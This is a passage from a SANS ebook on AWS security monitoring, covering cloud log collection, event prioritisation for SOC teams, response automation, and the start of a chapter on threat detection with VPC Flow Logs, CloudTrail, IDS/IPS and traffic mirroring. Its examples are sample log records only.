aggregation internally. Log data can also be automatically deleted after a certain period of time, or archived to internal storage or additional Amazon services like Amazon S3 Glacier for longer-term retention. Aggregation of log data across accounts and regions is possible, as is automated alerting and notification when certain events are registered. AWS CloudTrail log file integrity can also be enabled to hash all logs upon delivery and then monitor them afterward as well. Most major CSPs allow logs to be downloaded from their environment (e.g., leading SaaS providers) or stored in a dedicated storage node (e.g., a dedicated S3 bucket). There are also a number of third-party security event aggregation and analysis platforms available for the cloud, including Sumo Logic² and others. These services may offer teams a simpler way to aggregate logs from multiple cloud services, and they often integrate more readily with these services through provider APIs. Workload Security Events The second type of logs that teams need to collect are those associated with different server and container workloads. You should collect logs from your instance OS, just as you would in your own data center. This means syslog, Windows events and all the other logs you’d normally try to collect for security and operational reasons. The basic mechanics of generating logs and sending them somewhere might be the same, in general, depending on the deployment model you have. Really, you should monitor these logs just like logs from your in-house systems. However, because of volume and cost, sending them to an in-cloud log collector and/or event management platform likely makes sense. This process is distinct from logging within the CSP environment, where you focus on API calls and access to the admin console for your cloud environment. It’s important to make the distinction between cloud system monitoring and cloud environment monitoring. To ensure security, you must log and monitor systems just as you always have. To enable consistent workload monitoring and logging, many organizations need to create and enable a central cloud log repository to store logs generated within workloads. There are many ways to accomplish this, but AWS has a unique agent, Amazon CloudWatch, that can be installed into Amazon EC2 workloads. This agent forwards syslog and other standard events to a dedicated Amazon CloudWatch logging group. From there, these logs can be parsed and analyzed, or streamed to a ² www.cisecurity.org/controls 177different event management and monitoring solution through streaming services like Amazon Kinesis Data Firehose. For most organizations, the data export costs associated with large volumes of workload logs can prove somewhat prohibitive to simply sending all logs back to on-premises data collectors and SIEM tools. While this may work with a small volume of cloud services and workloads, large organizations will eventually want to enable cloud-native log collection and analysis tools instead. “It’s important to make the distinction between cloud system monitoring and cloud environment monitoring. You must log and monitor systems just as you always have.” Network Flow Logs Another critical type of data that should be collected and monitored in cloud environments is network flow data. For all major clouds, this can be enabled at the virtual private cloud (VPC) level, and these flow logs can then be sent to a dedicated storage node for analysis. With AWS VPC Flow Monitoring, network and security teams can add network behavioral monitoring to their overall capability set, and these logs have a wealth of data that can prove useful in detecting strange patterns of access and behavior in the AWS environment. Most network traffic is recorded in AWS, except for: • Traffic between EC2 instances and Amazon DNS services • Amazon Windows license activation traffic for Windows EC2 instances • Multiple IP addresses traffic (only primary address is logged) • Instance metadata traffic to and from 169.254.169.254 • DHCP traffic Improving Visibility, Threat Detection, and Investigation in AWSAnalysts can use this data to detect unusual patterns of communication between instances and workloads in the VPC environment, as well as specific malicious or suspicious activities originating outside the cloud and targeting assets (for example, SSH brute-force attempts). Keep in mind that enabling this type of logging can produce a staggering quantity of event data, and you will need to leverage some sort of toolkit (SIEM, security analytics, etc.) to build behavioral baselines for monitoring purposes. Improving Visibility in the Cloud To improve security visibility in the cloud, security operations teams will want to develop a continuous monitoring strategy that uses a combination of cloud-native services and third-party options. This strategy provides the most comprehensive range of coverage for both proactively assessing the environment and detecting unusual events or anomalous behavior rapidly. Within AWS, for example, a continuous monitoring framework might include such services as: • Event-driven monitoring — This service performs vulnerability assessments of your cloud instances. An agent is required to perform scans, and most operating systems are supported (at least most Linux and Windows OSes). Amazon Inspector provides a number of rules templates, including CVE (for listing missing patches and other typical vulnerabilities that a vulnerability scanner would report on), CIS Benchmarks (for industry-standard configuration and control practices), general security best practices and so on. Scans can run between 15 minutes and 24 hours. Longer scans are more thorough and provide better baselines. Longer scans can really help to evaluate state over time and may help you to detect the state of systems in a rapidly changing DevOps environment. Amazon Simple Notification Service (SNS) notifications can be queued to alert you or feed to scripts and automation engines like AWS Lambda. • AWS Config — This configuration monitoring toolkit for your AWS systems can define your baseline image, monitor systems continually and alert whenever a system’s configuration changes. AWS Config is natively integrated into AWS, and it can easily be set up to help keep your system state secure. Another key feature of AWS Config is its inventory capability. One advantage of the cloud is that nothing can hide, because all assets are 1) software-defined and 2) linked inextricably to the CSP’s backplane. For this reason, the discovery and inventory elements of change and configuration management should be easier than ever! In the case of AWS Config, it doesn’t get much easier—the service just finds everything and then lets you query 179 AWS to see what you have. Recent additions to the AWS Config service allow for automated remediation and alerting as well. • Amazon CloudWatch — This service allows you to monitor data and events and create alarms based on events in your AWS environment. Amazon CloudWatch, which integrates with almost all AWS services, can collect and track metrics, monitor log files, initiate alarms and automatically respond to changes in your AWS environment. For this reason, it’s one of the most flexible monitoring tools you can use. • AWS Security Hub — This service offers basic continuous monitoring for AWS accounts, looking at CIS Benchmarks configuration checks and more. Additionally, a number of third-party security tools can integrate into AWS Security Hub to create a centralized dashboard of events and security monitoring and operations.. • Amazon GuardDuty — This service analyzes a vast volume of log and intelligence data (both internal to AWS and from third parties) to deliver threat intelligence about customer account behavior. Results from Amazon GuardDuty can be integrated into Amazon CloudWatch and other event-triggering systems in AWS, or sent to the SOC or other locations for analysis with different tools. • Amazon Detective — This service collects and aggregates logs across AWS resources and performs deep analysis on them to detect behavior anomalies and other events for faster and more efficient root-cause analysis and investigations. This feature is still in preview as of early 2020. Many organizations may want to integrate all cloud-based events—both workload events and cloud control plane events—into an existing centralized detection and response capacity (usually focused on integrating SIEM and other large-scale correlation platforms for cloud monitoring). There are cloud- integrated API connectors for all major SIEMs today, such as Sumo Logic, Securonix, Sonrai Security and more. While this option is certainly a possibility, the costs to aggregate and export data (even over dedicated network connections like AWS Direct Connect) may be significant. For this reason, many organizations are now considering or implementing cloud-native SIEM tools. Improving Visibility, Threat Detection, and Investigation in AWS “A continuous monitoring strategy that uses a combination of cloud-native services and third- party options provides the most complete range of coverage for both proactively assessing the environment and detecting unusual events or anomalous behavior rapidly.” What to Look For: Enabling the SOC Once cloud logs are being collected and aggregated, analysts need to sift through all the various events and start prioritizing them. There are several keys to this process, including: • Adding context — If logs can be “tagged” as originating from a specific ISP or CSP, that can help provide context on the use cases of the service. For example, logs from identity management services like AWS Identity and Access Management (IAM) have a specific user context, whereas events from Amazon EC2 may need additional details about workloads to provide the proper context for evaluation. • Defining priorities — Security analysts focused on the cloud must first decide what events and behaviors are most critical to monitor. Common starting points include any login activity to cloud management consoles; any changes or attempted changes to important cloud objects and data; any creation, deletion or modification of credentials or cryptographic keys; and attempts to modify or delete audit logs. • Tuning alerts — Tuning is incredibly important for cloud logging and event management. You want to suppress redundant alerts, both those that are entirely operational in nature and those not directly related to security. To build appropriate behavioral baselines of events in the environment, you also likely need to allow several weeks or even months of data to accumulate. Make tuning a regular part of your weekly monitoring processes. 181 • Housekeeping of accounts and credentials — Leftover user credentials, cloud accounts and data can lead to potential risks in the cloud. Work closely with human resources teams to disable credentials to cloud accounts quickly, and monitor for all attempts to log in with disabled or deleted credentials for at least several weeks after a user has left the organization. It’s a good practice to monitor user account activity of employees who have given notice to ensure that they don’t try to take or sabotage critical data. For example, look for sudden increases in data exports, transfer or overall account use. Another area of focus for cloud events should be the originating point of cloud activity. Security teams should consider a login from a new country or location where the organization doesn’t do business or have users to be a very high priority alert. Many cloud logs include enough detail to note where the login came from. Identification and Prioritization of Potential Events Where to start? Security operations teams might feel somewhat overwhelmed when starting to sift through cloud logs and events. Fortunately, many types of events and information can help identify potential incidents in the cloud, including: • Incident notifications from your CSP — This depends on your CSP model and deployment type, as well as contractual SLAs and terms. • Billing alarms — These are key! If you have a reasonable idea of a monthly billing range, you can break this down to define “checkpoints” of what your bill should be at any given time. If these thresholds are crossed, a billing alarm could alert you and investigate what is causing the additional cost • IAM activity (logins in particular) — Monitor your user activity within the cloud. In particular, monitor admins carefully, because these user credentials are prime targets for attackers. Any nonfederated user access should also be a high priority. • Cloud environment logs (e.g., AWS CloudTrail) — General API logs can tell you when instances are created or changed, when storage attributes change and so on. Focus on the types of events that could be problematic to the environment. These event types include access or changes to critical assets, modification of identity policies, deletion or changes to cryptographic keys, and so on. Improving Visibility, Threat Detection, and Investigation in AWSAs a general rule, security operations teams should prioritize the following types of events (listed by order of priority/severity): Priority 1 • Launching a workload that is not from an approved template • Launching any containers from unapproved images in a repository • Launching any assets in unapproved regions • Modifying any IAM roles or policies • Modifying or disabling cloud control plane logging or other security controls • Logins to the web console (unauthorized) Priority 2 • Unusual user behaviors (trying to access unauthorized resources, etc.) • Adding/updating new workload images • Adding/updating new container images • Logins to the web console (authorized) • Updating/changing serverless configuration Priority 3 • Changes to security groups or network access control lists (ACLs) • Updating/changing serverless function code 183 Logging begins with a central logging engine like AWS CloudTrail and/or a log collection agent from a SIEM solution extracting log data from a data store (primarily for workload logs if applicable). All logs, irrespective of source, need to be monitored for suspicious activity in the context of what environment the assets operate within, with detection filters set up to send alerts or perform more automated response actions. Any security operations team should spend time with all cloud environment logs to better understand the behavior of the workloads and services operating there. For example, AWS CloudTrail captures an enormous range of event data, and tools like Amazon CloudWatch enable you to search for many different events. Table 1 lists some examples of starting points.Identification and Prioritization of Potential Events A cloud monitoring workflow should ideally look like one shown in Figure 1. Figure 1. Cloud Monitoring Workflow Improving Visibility, Threat Detection, and Investigation in AWSAdditionally, there are a number of serverless events in AWS Lambda that could prove to beinteresting starting points. For example, if someone deletes a function (DeleteFunction) , this might be important. The same could apply for RemovePermission. Table 2 lists the most critical AWS Lambda events to monitor immediately for security. Security teams also need to be proactive in securing the cloud environment. Security operations and engineering teams should work with cloud operations and engineering teams to implement more effective controls around: • IAM and privileges (and credential security) — This can be one of the most difficult areas to solidify in cloud security, because there are many types of privileges and roles that can be defined. AWS has a service called AWS IAM Access Analyzer, which is free and integrated into the AWS IAM platform. This service can help with assessing any AWS native or custom IAM policies to determine where excessive or unintended privilege allocation may be present based on AWS best practices and assigned users/groups. • Resources and resource utilization — Cloud control plane logs from services like AWS CloudTrail can (and should) be heavily leveraged to monitor new, modified and deleted assets in the environment, as well as access to assets and service interaction in the cloud environment. These logs need to be integrated with a SIEM and/or cloud- native cloud monitoring solution like Amazon CloudWatch to build the appropriate triggers for alerting, as well as monitoring and reporting metrics as warranted. Some behavioral trending over time can also be assessed and reported through analytics tools like AWS Security Hub and Amazon GuardDuty, as well. • Activity in specific regions — One of the best quick wins for security teams is to purposefully disable all geographic regions not in use; a follow-up to this is enabling explicit monitoring for cloud control plane logs (like AWS CloudTrail) to look for any activity in regions marked as “not in use” or “disabled.” A common tactic intruders use for malicious activities like cryptocurrency mining is to create unauthorized assets and workloads in unused regions to “buy time” before detection. Teams should consider any alert for activity in an unauthorized or unused region a high priority. Regardless of the tools chosen, SOC teams need to adapt their workflows and monitoring processes to include as much log and event data from the cloud as possible. This invariably requires significant effort to better learn and understand the patterns of events and service interaction in the cloud environments 185 chosen. Spending some time each month or quarter developing “game day” or tabletop exercises to flesh out cloud monitoring and response use cases is an excellent way to engage the SOC team in cloud initiatives and improve the team’s skills and processes at the same time. SOAR and the Role of Automation Increasingly, more enterprise incident response teams are actively looking for opportunities to automate processes that often take up too much of their highly skilled analysts’ time, as well as those processes that require lots of repetition (and may provide little value in investigations). Common activities that many teams consider for automation include the following: • Identifying and correlating alerts — Many analysts spend inordinate amounts of time wading through repetitive alerts and alarms from many log and event sources, and spend time piecing together correlation strategies for similar events. While this is valuable for later stages of investigations, it can also be highly repetitive and is therefore a good candidate for some degree of automation. • Identifying and suppressing false positives — This work can be tedious on a good day, and overwhelming on a bad one. Identifying false positives can often be streamlined or automated using modern event management and incident response automation tools. Improving Visibility, Threat Detection, and Investigation in AWS³ Swimlane is a trademark of Swimlane LLC; IBM and IBM Resilient Incident Response Platform are registered trademarks of International Business Machines Corp. • Initial investigation and threat hunting — Analysts need to quickly find evidence of compromise or unusual activity, and often need to do so at scale. • Opening and updating incident tickets/cases — Due to improved integration with ticketing systems, event management and monitoring tools used by response teams can often generate tickets to the right team members and update these as evidence comes in. • Producing reports and metrics — Once evidence has been collected and cases are underway or resolved, generating reports and metrics can take a lot of analysts’ time. Examples of security response automation include: • Automated DNS lookups of domain names never seen before • Automated searches for detected indicators of compromise • Automated forensic imaging of disk and memory from a suspect system, driven by alerts triggered in network- and host-based anti-malware platforms and tools • Network access controls automatically blocking outbound command and control (C2) channels from a suspected system A fair number of vendors and tools can help integrate automation activities and unify disparate tools and platforms in use for detection and response. These include Swimlane, IBM Resilient Incident Response Platform³ and more, most of which leverage APIs with other platforms and tools to allow them to share data and create streamlined response workflows. Factors to consider when evaluating these automation tools include maturity of the vendor, integration partners, alignment with SIEM and event management, and ease of use and implementation. Incident response (IR) in the cloud may rely on scripting, automation and continuous monitoring more heavily than in-house IR currently does. Many of the detection and response tools emerging for the cloud are heavily geared toward automation capabilities. To effectively implement automated IR in the cloud, IR teams need to build automated “triggers” for event types that run all the time (such as 187 “Factors to consider when evaluating security response automation tools include maturity of the vendor, integration partners, alignment with SIEM and event management, and ease of use and implementation.”Amazon CloudWatch filters), especially as the environment gets more dynamic. Deciding what triggers to implement and what actions to take is really the most time-consuming aspect of building a semi- automated or automated response framework in the cloud. Do you focus on user actions? Specific events generated by instances or storage objects? Failure events? Spending time learning about cloud environment behaviors and working to better understand “normal” patterns of use is invaluable here. The following list provides a breakdown of the security automation model to consider for cloud deployments—it’s really broken into three major components: • Phase 1: Learn — In this phase, you monitor for events occurring in the environment. With AWS, this would likely come from AWS CloudTrail logs, Amazon VPC Flow Logs, Amazon CloudWatch Logs, etc. • Phase 2: Trigger — Based on some pattern matching, using Amazon CloudWatch alerts or even a SIEM like Sumo Logic, you then trigger some sort of follow-up action. • Phase 3: React/Respond — The final phase is the actual action triggered during the automation. This could be an AWS Lambda function that performs an action, a vulnerability scan or an alert sent via SNS or other method. The use cases for phases 2 and 3, where certain events trigger responses, vary widely. These might include tagging assets that are behaving suspiciously, disabling access keys or user/service credentials, changing a security group to one that is a “quarantine” zone without internet access, or simply alerting a group of SOC analysts. Security teams need to spend some time developing these automation use cases and then look into the tooling needed to accomplish these goals through cloud-native and third- party services. Improving Visibility, Threat Detection, and Investigation in AWSConclusion The cloud has a lot to offer in the way of security monitoring and visibility. Security teams have the ability to capably monitor for both event-driven and behavior-driven activity, and they now have a single environment they can query for all the cloud control plane visibility they could want. Security teams need to adapt monitoring and preventive/detection tools in some cases, although they might have more options due to cloud-native and third-party controls and services that are rapidly expanding. Teams can implement and monitor the entire spectrum of control areas, too, ranging from network controls like firewalls and intrusion detection services to endpoint protection and monitoring agents to vulnerability scanning continuously. With large-scale analytics processing and numerous options to enable, collect, store and transmit log and event data from their cloud assets and environment, teams can more readily analyze everything happening in this part of the hybrid cloud network and correlate this data with internal event information generated from existing security tools (some of which may be covering both internal and public cloud space). That said, there’s still a lot of work for SOC teams to do in reviewing events and building detection and response use cases. Building effective correlation cases for cloud monitoring can also be readily accomplished with the tools and services available today, but it will take time and a better understanding for SOC teams to adapt to different event sources and types. One area of significant promise is automation—teams have all the event details they need, as well as tools and services to store and process them. With SOAR solutions and cloud-native processing and automation engines, security operations teams should see definitive improvements in their detection and response capabilities, because the cloud is a unified fabric with innumerable APIs to employ (for querying information and for performing detection, response and mitigation). As infrastructure becomes progressively more software-defined, this will be more and more important to security professionals everywhere. About the Author Dave Shackleford, a SANS analyst, senior instructor, course author, GIAC technical director and member of the board of directors for the SANS Technology Institute, is the founder and principal consultant with Voodoo Security. He has consulted with hundreds of organizations in the areas of security, regulatory compliance, and network architecture and engineering. A VMware vExpert, Dave has extensive experience designing and configuring secure virtualized infrastructures. He previously worked as chief security officer for Configuresoft and CTO for the Center for Internet Security. Dave currently helps lead the Atlanta chapter of the Cloud Security Alliance. 189“AWS offers a plethora of data sources and services for security monitoring. The key to a successful threat detection program is to pay attention to instances and images, as well as to cloud network infrastructure and cloud management. In this chapter, I discuss the main strategic steps, starting with the most critical data sources available such as Amazon VPC Flow Logs or AWS CloudTrail. I address how to leverage traffic mirroring technology and use intrusion detection systems to alert on malicious activities. Finally, I describe a few security monitoring best practices and automation options when it comes to responding to incidents.”David Szili SANS Certified Instructor Chapter 16: How to Build a Threat Detection Strategy in AWS Improving Visibility, Threat Detection, and Investigation in AWS Improving Visibility, Threat Detection, and Investigation in AWSIntroduction One major concern security teams have is losing visibility and detection capabilities when their organization moves to a cloud. While this might have been true in the early days of cloud services, these days providers are announcing new threat detection features and offerings almost every month. These new services open up the possibility of adjusting traditional network- and host-based monitoring to support intrusion detection in the cloud. In this paper, we focus on the key steps illustrated in Figure 1 to detect threats in Amazon Web Services (AWS) and gradually build a security monitoring strategy. Threat detection and continuous security monitoring in cloud environments have to integrate security monitoring of instances and images (system monitoring), just as they do on premises. For cloud services, however, it is also crucial to include the monitoring of the cloud network infrastructure and cloud management plane (cloud monitoring). In terms of system monitoring, organizations must collect system logs and vulnerability scan results. They must also check the integrity and compliance of instances against policies and security baselines. The collection of operating system logs can be challenging because they require centralized collection for analysis and correlation. Given the volume of this data and the associated cost of sending it back to an on-premises solution, using an in-cloud log collector or event management platform can be a much more viable option. Figure 1. Steps to Build a Security Monitoring StrategyIdentify the different data sources available and how to collect them.Look at intrusion detection and prevention and how that concept fits into cloud services.Implement event management, analysis and alerting.Automate data collection, analysis, detection and remediation tasks. 191As for the AWS Cloud environment, security teams must monitor admin access, changes made to the environment, API calls, storage and database access, and any access to sensitive and critical components. In the following sections, we explore data sources and services that help with event management and analysis. The focal point of the threat detection strategy is to collect data from systems, networks and the cloud environment in a central platform for analysis and alerting. AWS Security Hub1 is a service that automates the collection process and organizes and prioritizes security alerts into a single, comprehensive view. The data sources, services and solutions described in this paper all feed into this monitoring solution to provide visibility and detect threats. Data Collection The first step in creating a security monitoring strategy is to identify the available data sources and determine how to collect data from them. Key data sources include endpoint detection and response (EDR) tools, flow logs, data from intrusion detection and prevention tools, and alerts from Amazon GuardDuty (discussed in the “Event Management and Analysis” section) and other AWS tools. When considering data collection for security monitoring, the winning strategy is to focus on the data sources with the highest value and the best cost–benefit ratio—and to do so efficiently. AWS Security Hub simplifies data collection from a variety of sources and collects alerts into a single, comprehensive view, as described in the “Event Management and Analysis” section. In the case of AWS, these are Amazon VPC Flow Logs and AWS CloudTrail logs. Amazon VPC Flow Logs provide visibility into VPC and instances network traffic. Flow records are small and have a fixed size, making them highly scalable, with longer retention times, even for large organizations. AWS CloudTrail provides the logs for monitoring the AWS Cloud environment itself. We examine these two data sources next. “Focus on the data sources with the highest value and the best cost–benefit ratio—and do so efficiently.” Improving Visibility, Threat Detection, and Investigation in AWSFlow Logs Flow records, such as NetFlow or IPFIX, are a statistical summary of the traffic observed. Common attributes allow grouping of packets into a flow record. These attributes are the source and destination IP addresses, the source and destination ports, and the network protocol (usually TCP, UDP or ICMP). As a result of this summary nature of the flow records, they do not contain information about the application layer. Therefore, visibility is limited to Layer 4 and below. Flow logs still offer means to: • Scope a compromise and identify communication with known attacker addresses. • Identify large flow spikes that might suggest data exfiltration. • Identify large counts of frequent, small traffic bursts that may be command and control traffic. • Detect strange patterns of access and behavior. Because a significant portion of today’s network traffic is encrypted and application data is unavailable for analysts, the lack of Layer 7 information in flow records is of little concern. Flow analysis techniques work exactly the same for both encrypted and unencrypted communications. This makes flow analysis a great method for threat hunting without the need for SSL/TLS interception and full-packet capture. The Amazon VPC Flow Logs feature enables security analysts to capture information about the IP traffic going to and from network interfaces in the VPC. Flow logs can be sent to Amazon CloudWatch or Amazon S3 buckets. A new log stream is created for each monitored network interface. Amazon VPC Flow Logs records are space-separated strings. Similar to other flow records, such as NetFlow or IPFIX, they contain the network interface name, source and destination IP addresses and ports, number of packets, number of bytes, and the start and end times of the traffic flow. One significant difference is that the flow record contains information on whether the security groups or network access controls lists (NACLs) permitted or rejected the traffic. The list of fields are as follows: 193The following flow record example is for NTP traffic (destination port 123, UDP protocol) that was allowed: 2 123456789010 eni-abc123deabc123def 172.31.32.81 172.31.16.139 59808 123 17 1 76 1563100613 1563100667 ACCEPT OK This flow record example is for RDP traffic (destination port 3389, TCP protocol), which was rejected: 2 123456789010 eni-abc123deabc123def 172.31.9.69 172.31.32.81 44844 3389 6 20 4249 1563100613 1563100667 REJECT OK Because VPC Flow Logs can produce a large quantity of event data, you will likely need a tool, such as a log aggregator and analytics platform or a SIEM solution, for monitoring and analysis (see the next section). For example, Amazon CloudWatch has a simple interface to search in log group events, but also has Amazon CloudWatch Logs Insights, which provides a powerful, purpose-built query language that can be used to search and analyze your logs. It is ideal for threat hunting and allows security analysts to use the techniques mentioned previously. Amazon CloudWatch Log Insights has prebuilt sample queries for VPC flow logs, making it easy to get familiar with the query language and perform the analysis. These sample queries include cases like: • Average, minimum and maximum byte transfers by source and destination IP addresses • Top 10 byte transfers by source and destination IP addresses • Top 20 source IP addresses with the highest number of rejected requests Security analysts must be aware that Amazon VPC Flow Logs exclude certain IP traffic such as Amazon DNS activity, DHCP or license activation Improving Visibility, Threat Detection, and Investigation in AWSThis is usually desired to avoid the duplication of information, for example, in the case of VPC mirrored traffic. In other cases, additional AWS solutions can fill in these gaps. For example, Amazon GuardDuty also monitors DNS traffic. Amazon VPC Flow Logs is an essential tool to leverage and should be collected in every VPC that has important assets. API and Account Activity Logs Cloud security also requires detailed visibility into user and resource activity. Actions that take place through the AWS Management Console, command-line tools or API services are just as important for preserving the integrity of cloud environments as they are for monitoring network activity and hunting for threats. This kind of event history helps in troubleshooting, change tracking and security analysis. The events should contain detailed information, including but not limited to: • Time of the API call • Identity of the API caller • Source IP address of the API caller • Request and response parameters One of the first major additions to Amazon’s security services was AWS CloudTrail, an AWS logging service that provides a history of any AWS API calls across accounts and Regions. AWS CloudTrail is enabled on your AWS account when you create it. From the AWS CloudTrail console, you can view, filter and download the most recent 90 days of events in CSV or JSON formats. You can also see the resources referenced by an event and pivot to AWS Config to view the resource timeline. You can configure AWS CloudTrail trails to log management events and data events. Management events provide insight into management operations that are performed on resources in your AWS account. Examples include configuring security policies, registering devices and setting up logging. You can choose to log read-only, write-only, all, or no management events. Data events provide insight into the resource operations performed on or within a resource—for example, Amazon S3 object-level API activity or AWS Lambda function execution activity. To determine whether an AWS CloudTrail log file was modified, deleted or unchanged after it was delivered, you can enable log file validation. AWS CloudTrail typically delivers log files within 15 minutes of account activity, and it publishes log files multiple times an hour, about every five minutes. The events are in JSON format, which makes them 195For an ongoing record of activity and events in AWS accounts, you have to create a trail and send events to an Amazon S3 bucket or Amazon CloudWatch Logs. Log data can be automatically deleted, or it can be archived to long-term storage, for example, in Amazon S3 Glacier. AWS CloudTrail provides exceptionally detailed visibility for AWS account activity, which is a key aspect of security and operational monitoring best practices.humanly readable and easy to parse programmatically. The log entry in Figure 2 shows that a root user (“userIdentity”: { “type”: “Root”) successfully signed into the AWS Management Console (“eventName”: “ConsoleLogin”) using multifactor authentication (“MFAUsed”: “Yes”): The event history feature allows you to perform simple queries and filter events in many ways, exceptfor wildcard searches. You can use Amazon Athena for more in-depth analysis using standard SQL to interactively query the AWS CloudTrail log files delivered to the Amazon S3 bucket for that trail. { "eventVersion": "1.05", "userIdentity": { "type": "Root", "principalId": "123456789010", "arn": "arn:aws:iam::123456789010:root", "accountId": "123456789010", "accessKeyId": "" }, "eventTime": "2019-07-01T10:48:13Z", "eventSource": "signin.amazonaws.com", "eventName": "ConsoleLogin", "awsRegion": "us-east-1", "sourceIPAddress": "1.2.3.4", "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0", "requestParameters": null, "responseElements": { "ConsoleLogin": "Success" }, "additionalEventData": { "LoginTo": "https://console.aws.amazon.com/console/home?state=hashArgs%23&isauthcode=true", "MobileVersion": "No", "MFAUsed": "Yes" }, "eventID": "3fcfb582-bc34-4c39-b021-10a394ab61cb", "eventType": "AwsConsoleSignIn", "recipientAccountId": "123456789010" } Figure 2. AWS CloudTrail Event Example Improving Visibility, Threat Detection, and Investigation in AWSIntrusion Detection and Prevention Systems The second step in creating a security monitoring strategy is to determine how IDS/ IPS fit into that strategy. Such systems have the same objectives in the cloud as on premises, such as alerting based on signature matching, behavioral anomalies and protocol mismatch. However, these solutions differ from the ones we have on premises, and because they must be adapted to the cloud environment, they might look less familiar at first. In a cloud environment such as AWS, you have control over your virtual machine instances and to your VPCs at some level, but not the physical network or the hypervisor platform (which includes components like virtual switches). The cloud service provider controls these lower layers; therefore, monitoring tools have to leverage the features provided by the upper layers. Network IDS/IPS On-premises network IDS/IPS (NIDS/NIPS) differs somewhat from cloud deployments. However, AWS offers additional features that enable network security monitoring. Hardware network taps or mirror ports (also known as SPAN ports) from hardware and virtual switches are not feasible because of the lack of Layer 2 access, but similar alternatives are available using agents or traffic mirroring. Security appliances that can be deployed in-line for monitoring or blocking can also be implemented in AWS. One option is to send back all the traffic to on-premises sensors via a dedicated connection like AWS Direct Connect or through a VPN. This allows you to see traffic coming in to and out of the VPC, although on-premises sensors cannot see instance-to-instance traffic. Nonetheless, this model can be combined with the methods mentioned below for better coverage. The other option is a do-it-yourself approach: using NAT instances or multihomed instances with multiple elastic network interfaces (ENIs) that can act as gateways and inspect traffic passing through them. This option results in more complex network design, extra configuration steps like the installation of NIDS/ NIPS software or Linux traffic bridging, and additional resources to manage the platform, because there is usually no official support. Different instance types have a maximum number of network interfaces, and smaller instances typically only allow two. A great alternative to the preceding approach is to use AWS Partner Network (APN) solutions from AWS Marketplace, which has major vendors like F5 Networks, Palo Alto Networks, Sophos and Check Point Software Technologies. Most NIDS/NIPS features could be handled by unified threat management (UTM) and next-generation firewall (NGFW) appliances from firewall vendors. These virtual appliances are also deployed in-line as gateway devices (requires customized routing, VPC peering) in order to observe and 197manage traffic traversing the cloud environment, and they can have multiple ENIs to tap into multiple subnets. Traffic Mirroring Traffic mirroring in the cloud used to be challenging, requiring the installation and management of third- party agents on Amazon EC2 instances to capture and mirror EC2 instance traffic. One such platform is Gigamon’s GigaVUE CloudSuite for AWS, which acquires, optimizes and distributes selected traffic to security and monitoring tools by performing traffic acquisition using G-vTAP agents. Amazon VPC Traffic Mirroring addresses these challenges and enables customers to natively replicate their network traffic without having to install and run packet-forwarding agents on Amazon EC2 instances. Amazon VPC Traffic Mirroring captures packets at the ENI level, which cannot be tampered with from the user space, thus offering better security. It also supports traffic filtering and packet truncation, allowing selective monitoring of network traffic. AWS Marketplace already has monitoring solutions integrated with Amazon VPC Traffic Mirroring, such as ExtraHop Reveal(x) Cloud. The main elements of VPC traffic mirroring are: • Mirror source — An AWS network resource (ENI) in a VPC • Mirror target — An ENI or network load balancer that is the destination for the mirrored traffic • Mirror filter — A set of rules that defines the traffic that is copied in a traffic mirror session • Mirror session — An entity that describes traffic mirroring from a source to a target using filters The mirror target can be in the same AWS account as the mirror source or in a cross-account AWS environment, capturing traffic from VPCs spread across many AWS accounts and then routing it to a central VPC for inspection. The filter can specify protocol, source and destination port ranges, and classless inter-domain routing (CIDR) blocks for the source and destination. Rules are numbered and processed in order within the scope of a particular mirror session. Sessions are also numbered and evaluated in order. The first match (accept or reject) determines the fate of the packet, because a given packet is sent to at most one target. Improving Visibility, Threat Detection, and Investigation in AWSBe aware that VPC traffic mirroring is unlike a traditional network tap or mirror port. Mirrored traffic is encapsulated with a VXLAN header and then routed by using the VPC route table. VXLAN traffic (UDP port 4789) must be allowed from the traffic mirror source in the security groups that are associated with the traffic mirror target. Applications that receive the mirrored traffic should be able to parse these VXLAN-encapsulated packets. Amazon VPC Traffic Mirroring is a game-changer that opens up the possibility of bringing traditional network security monitoring solutions into the AWS environment. Host-Based IDS/IPS On the other side of IDS/IPS are host-based IDS/IPS (HIDS/HIPS) and anti-malware solutions. The good news is that these tools can be installed on cloud virtual machines in the same way as on premises. Note, however, that most traditional HIDS/ HIPS agents require more resources, which usually comes with a performance impact on the instances. Host security monitoring also tends to be more complex to manage. Sensors/agents must be deployed so that they can report back to a management server for analysis. Security teams must take care of event management and log collection and consider network bandwidth to decide whether they want to send the events back to on-premises systems, another virtual machine instance in AWS or maybe to another (SaaS) cloud service. Every time a new instance gets brought up or terminated, the security team must make sure the sensor/agent has to be deployed or decommissioned properly. Fortunately, there are more cloud-focused, integrated HIDS/HIPS and anti-malware marketplace offerings, such as Trend Micro Deep Security, CloudPassage and Dome9 (now part of Check Point), that can be distributed at the hypervisor layer. Next-generation antivirus (NGAV) and EDR tools like Carbon Black or CrowdStrike have also moved to a SaaS model to support cloud deployments. Event Management and Analysis After identifying the most important data sources, collecting data from them and deploying security sensors, we need the means to manage the data collected. Event management and monitoring in a cloud environment consist of activities like scanning for vulnerabilities, event monitoring, alerting, correlation and analysis. Many security analysts are aware of Amazon CloudWatch, a monitoring and management service available within AWS. Amazon CloudWatch is a highly flexible, general-purpose tool that is not only 199meant for security, but also to get a unified view of operational health by monitor applications, resource utilization or systemwide performance changes. Amazon CloudWatch basically functions as a repository for logs and metrics. AWS services put metrics into the repository, and statistics can be calculated based on those metrics. This statistical data can then be displayed graphically with visualizations (graphs) and dashboards. There are many default metrics available, and custom metrics can be defined too. Amazon CloudWatch can take logs from Amazon EC2 instances (CPU, memory, network usage, etc.) every five minutes (basic monitoring) or every minute (detailed monitoring), and it has agents that can be installed on instances to send their operating system logs. Amazon CloudWatch Logs can also be used to store and analyze logs from AWS CloudTrail and Amazon VPC Flow Logs. These log entries can be filtered into metrics to define alarms. The most significant benefit of Amazon CloudWatch is that it is very well integrated with almost every other AWS service, including AWS Security Hub. You can create alarms and periodic events and send them to other tools (for example, AWS Lambda or Amazon Simple Notification Service [Amazon SNS]), and make automatic changes to the resources you are monitoring when a threshold is reached. AWS Security Hub consumes data from services like AWS Config, Amazon GuardDuty, Amazon Inspector and Amazon Macie, and from supported APN Partner Solutions. AWS Security Hub reduces the effort of collecting all this information. It provides a single, comprehensive view that aggregates, organizes and prioritizes security alerts using a consistent findings format. These findings are displayed on dashboards with actionable graphs and tables. Putting It All Together AWS offers various services and access to security, identity and compliance tools from AWS partners. These include firewalls, network or endpoint IDS/IPS applications, and vulnerability and compliance scanners. Because they can easily generate thousands of security events and alerts every 